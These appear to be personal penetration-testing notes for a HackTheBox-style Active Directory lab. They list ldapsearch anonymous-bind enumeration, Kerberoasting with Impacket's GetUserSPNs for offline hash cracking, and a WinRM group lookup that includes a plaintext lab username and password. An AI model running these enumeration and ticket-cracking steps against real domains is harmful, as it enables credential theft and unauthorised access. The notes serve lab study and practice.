LDAP 389/TCP - ldapsearch

LDAP normally provides verbose information about the AD. And if anonymous bind is allowed, we can query many of good AD information, such as user information.

Anonymous (NULL) Bind

# ldapsearch null bind
(-x ) simple (anonymous) authentication, otherwise MD5
(-s ) scope
(-b ) basedn .. base domain name

ldapsearch -H ldap://10.129.95.210 -x -s base
ldapsearch -H ldap://10.129.95.210:389 -x -b "dc=htb,dc=local"

# Account policy

Kerberoasting

Identify Kerboros Service Principal Names (SPN) tight to the account using Impacket's GetSPN

# list SPNs tight to account
impacket-GetUserSPNs -dc-ip <IP> <Domain/accountName>

# ticket to crack
impacket-GetUserSPNs -dc-ip <IP> <Domain/accountName> --request

the response contains kerberos hash which can be cracked offlien with hashcat or john

WinRM

WinRM (5985/TCP) — Microsoft implementation of WS-Management protocol. This can allow a remote connection via PowerShell.

Look for remote management user group

ldapsearch -H ldap://10.129.95.210 -x -b DC=htb,DC=local | grep -A 11 -i "Remote Management Users"

net rpc group members 'Privileged IT Accounts' -W 'htb.local' -I '10.129.95.210' -U'svc-alfresco'%'s3rvice' 2>&1
